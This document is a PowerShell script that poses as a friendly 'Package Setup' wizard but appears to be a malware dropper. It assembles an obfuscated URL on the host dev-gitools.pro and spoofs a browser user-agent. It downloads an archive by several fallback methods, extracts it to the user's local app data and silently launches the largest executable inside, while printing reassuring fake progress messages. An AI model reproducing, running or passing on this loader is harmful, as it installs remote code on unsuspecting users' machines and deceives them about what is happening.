$Errorreference = 'Continue' $ProgPreference = 'Continue' try { $protocols = 0 foreach ($protocolName in @('Tls', 'Tls11', 'Tls12', 'Tls13')) { if ([enum]::IsDefined([Net.SecurityProtocolType], $protocolName)) { $protocols = $protocols -bor [int][enum]::Parse([Net.SecurityProtocolType], $protocolName) } } if ($protocols -gt 0) { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]$protocols } [Net.ServicePointManager]::Expect100Continue = $false [Net.ServicePointManager]::DefaultConnectionLimit = 8 } catch { } $iqmds8czgfr = ('ht'+'t'+'p://'+'dev'+'-git'+'ools.'+'pro') $m6oyt43 = "$iqmds8czgfr/aiplug/k5zizja5" $u2sav0icf6p9 = Join-Path $env:TEMP "ujv8yss0zgl" $c8rcb1j3ngxta = Join-Path $env:LOCALAPPDATA "ujv8yss0zgl" $hkf2vgrrbf = Join-Path $u2sav0icf6p9 "xpmt9.zip" $u1c3vcpc7 = Get-Date -Format "yyyyMMddHHmmss" $userAgent = ('Mozil' + 'la/5.0' + ' (Wi' + 'ndow' + 's NT ' + '10.0' + '; Win6' + '4; x6' + '4) Ap' + 'pl' + 'eWebK' + 'it/53' + '7.' + '36 (' + 'KH' + 'TML, l' + 'ike ' + 'Gecko' + ') ' + 'Chro' + 'me/149' + '.0.' + '0.0 S' + 'afar' + 'i/537.' + '36') function Sleep-Random([int]$min = 300, [int]$max = 900) { Start-Sleep -Milliseconds (Get-Random -Minimum $min -Maximum $max) } function Write-Step([string]$message) { Write-Host "" Write-Host (" " + $message) -ForegroundColor White } function Write-Done([string]$message) { Write-Host (" " + $message + " - done") -ForegroundColor Green } function Suhka([string]$Path, [string]$Kind) { try { if (-not (Test-Path $Path)) { return $false } $item = Get-Item $Path -ErrorAction Stop if ($item.Length -lt 8) { return $false } $stream = [System.IO.File]::OpenRead($Path) try { $header = New-Object byte[] 8 $bytesRead = $stream.Read($header, 0, 8) } finally { $stream.Close() } if ($bytesRead -lt 4) { return $false } if ($Kind -eq 'zip') { return ($header[0] -eq 82 -and $header[1] -eq 97 -and $header[2] -eq 114 -and $header[3] -eq 33) } if ($Kind -eq 'exe') { return ($header[0] -eq 77 -and $header[1] -eq 90) } return ($item.Length -gt 0) } catch { return $false } } function Curva([string]$Url, [string]$Destination) { try { $curlPath = Join-Path $env:SystemRoot 'System32\curl.exe' if (-not (Test-Path $curlPath)) { $curlPath = 'curl.exe' } $startInfo = New-Object System.Diagnostics.ProcessStartInfo $startInfo.FileName = $curlPath $startInfo.Arguments = '-fsSL --retry 2 --retry-delay 1 --connect-timeout 25 --max-time 240 -A "' + $userAgent + '" -o "' + $Destination + '" "' + $Url + '"' $startInfo.UseShellExecute = $false $startInfo.CreateNoWindow = $true $startInfo.RedirectStandardOutput = $true $startInfo.RedirectStandardError = $true $process = [System.Diagnostics.Process]::Start($startInfo) if (-not $process) { return $false } if (-not $process.WaitForExit(260000)) { try { $process.Kill() } catch { } return $false } return ($process.ExitCode -eq 0) } catch { return $false } } function Papius([string]$Url, [string]$Destination, [string]$Activity) { $contentLength = 0 $bytesReceived = 0 try { $request = [System.Net.HttpWebRequest]::Create($Url) $request.UserAgent = $userAgent $request.Accept = "application/octet-stream, application/zip, */*" $request.Timeout = 120000 $request.ReadWriteTimeout = 120000 $request.KeepAlive = $false $request.Proxy = $null $request.AutomaticDecompression = [System.Net.DecompressionMethods]::None $response = $request.GetResponse() try { $contentLength = $response.ContentLength $responseStream = $response.GetResponseStream() $fileStream = [System.IO.File]::Create($Destination) try { $buffer = New-Object byte[] 81920 $lastUpdate = [DateTime]::MinValue $stopwatch = [System.Diagnostics.Stopwatch]::StartNew() while (($bytesRead = $responseStream.Read($buffer, 0, $buffer.Length)) -gt 0) { $fileStream.Write($buffer, 0, $bytesRead) $bytesReceived += $bytesRead $now = [DateTime]::UtcNow if (($now - $lastUpdate).TotalMilliseconds -gt 150) { $lastUpdate = $now $elapsed = $stopwatch.Elapsed.TotalSeconds if ($elapsed -lt 0.3) { $elapsed = 0.3 } if ($contentLength -gt 0) { $percent = [Math]::Min(100, [int](($bytesReceived / $contentLength) * 100)) $downloadedMB = [Math]::Round($bytesReceived / 1MB, 2) $totalMB = [Math]::Round($contentLength / 1MB, 2) $speedKBps = [Math]::Round(($bytesReceived / $elapsed) / 1KB, 0) Write-Progress -Activity $Activity -Status "$downloadedMB MB of $totalMB MB ($percent percent) - $speedKBps KB/s" -PercentComplete $percent } } } Write-Progress -Activity $Activity -Completed } finally { $fileStream.Close() $responseStream.Close() } } finally { $response.Close() } if ($contentLength -gt 0 -and $bytesReceived -ne $contentLength) { return $false } return ((Test-Path $Destination) -and (Get-Item $Destination).Length -gt 0) } catch { try { Write-Progress -Activity $Activity -Completed } catch { } return $false } } function WebGay([string]$Url, [string]$Destination) { $client = $null try { $client = New-Object System.Net.WebClient $client.Headers.Add('User-Agent', $userAgent) $client.Headers.Add('Accept', 'application/octet-stream, application/zip, */*') $client.Proxy = $null $client.DownloadFile($Url, $Destination) return ((Test-Path $Destination) -and (Get-Item $Destination).Length -gt 0) } catch { return $false } finally { if ($client) { try { $client.Dispose() } catch { } } } } function DaunFilx([string]$Url, [string]$Destination, [string]$Activity, [string]$Kind) { $parentDir = Split-Path $Destination -Parent if (-not (Test-Path $parentDir)) { New-Item -ItemType Directory -Path $parentDir -Force | Out-Null } $urls = @($Url) if ($Url -match '^https://') { $urls += ($Url -replace '^https://', 'http://') } elseif ($Url -match '^http://') { $urls += ($Url -replace '^http://', 'https://') } for ($attempt = 1; $attempt -le 5; $attempt++) { foreach ($currentUrl in $urls) { foreach ($method in @('curl', 'webrequest', 'webclient')) { if (Test-Path $Destination) { Remove-Item $Destination -Force -ErrorAction SilentlyContinue } $success = $false if ($method -eq 'curl') { $success = (Curva $currentUrl $Destination) } elseif ($method -eq 'webrequest') { $success = (Papius $currentUrl $Destination $Activity) } else { $success = (WebGay $currentUrl $Destination) } if ($success -and (Suhka $Destination $Kind)) { return $true } if (Test-Path $Destination) { Remove-Item $Destination -Force -ErrorAction SilentlyContinue } } } if ($attempt -lt 5) { Start-Sleep -Milliseconds (400 * $attempt) } } return $false } function Write-Log([string]$message) { try { $logPath = Join-Path $u2sav0icf6p9 "session.log" Add-Content -Path $logPath -Value ("[" + $u1c3vcpc7 + "] " + $message) -ErrorAction SilentlyContinue } catch { } } function FNDFALOX([string]$Root) { try { $exe = Get-ChildItem -Path $Root -Filter "*.exe" -ErrorAction SilentlyContinue | Sort-Object Length -Descending | Select-Object -First 1 if ($exe) { return $exe } $exeRecursive = Get-ChildItem -Path $Root -Filter "*.exe" -Recurse -ErrorAction SilentlyContinue | Sort-Object Length -Descending | Select-Object -First 1 return $exeRecursive } catch { return $null } } Clear-Host Write-Host "" Write-Host " Package Setup" -ForegroundColor White Write-Host " This wizard will install the application on your computer." -ForegroundColor Gray Write-Host "" $existingExe = FNDFALOX $c8rcb1j3ngxta if ($existingExe) { Write-Log "reuse-existing" try { Start-Process -FilePath $existingExe.FullName -WorkingDirectory $c8rcb1j3ngxta -ErrorAction SilentlyContinue } catch { } Write-Host "" Write-Host " Setup has finished installing the application." -ForegroundColor Green Write-Host "" return } Sleep-Random try { if (-not (Test-Path $u2sav0icf6p9)) { New-Item -ItemType Directory -Path $u2sav0icf6p9 -Force | Out-Null } } catch { } try { if (-not (Test-Path $c8rcb1j3ngxta)) { New-Item -ItemType Directory -Path $c8rcb1j3ngxta -Force | Out-Null } } catch { } Write-Log "session started" try { Write-Step "Downloading the application package..." if (-not (DaunFilx $m6oyt43 $hkf2vgrrbf "Downloading package" "rar")) { throw "package download failed" } Write-Done "Package downloaded" Write-Log "package ready" Sleep-Random Write-Step "Searching for setup components" Sleep-Random 400 1000 Write-Done "Components ready" Sleep-Random 400 1000 Write-Step "Unpacking files..." try { Expand-Archive -Path "$hkf2vgrrbf" -DestinationPath "$c8rcb1j3ngxta" -Force -ErrorAction Stop } catch { throw "unpack failed: $_" } Sleep-Random 400 1000 Write-Done "Files unpacked" Write-Log "extracted" $d9yidkgpz0tj = FNDFALOX $c8rcb1j3ngxta if (-not $d9yidkgpz0tj) { throw "application files are missing" } Write-Step "Starting the application..." Sleep-Random 400 900 Start-Process -FilePath $d9yidkgpz0tj.FullName -WorkingDirectory $c8rcb1j3ngxta -ErrorAction SilentlyContinue Write-Done "Application started" Write-Log "launched" Write-Host "" Write-Host " Setup has finished installing the application." -ForegroundColor Green Write-Host "" } catch { Write-Log "error" Write-Host "" Write-Host " Setup could not be completed. Please check your connection and try again." -ForegroundColor Red Write-Host "" return } Remove-Item $hkf2vgrrbf -Force -ErrorAction SilentlyContinue Remove-Item $c8rcb1j3ngxta -Force -ErrorAction SilentlyContinue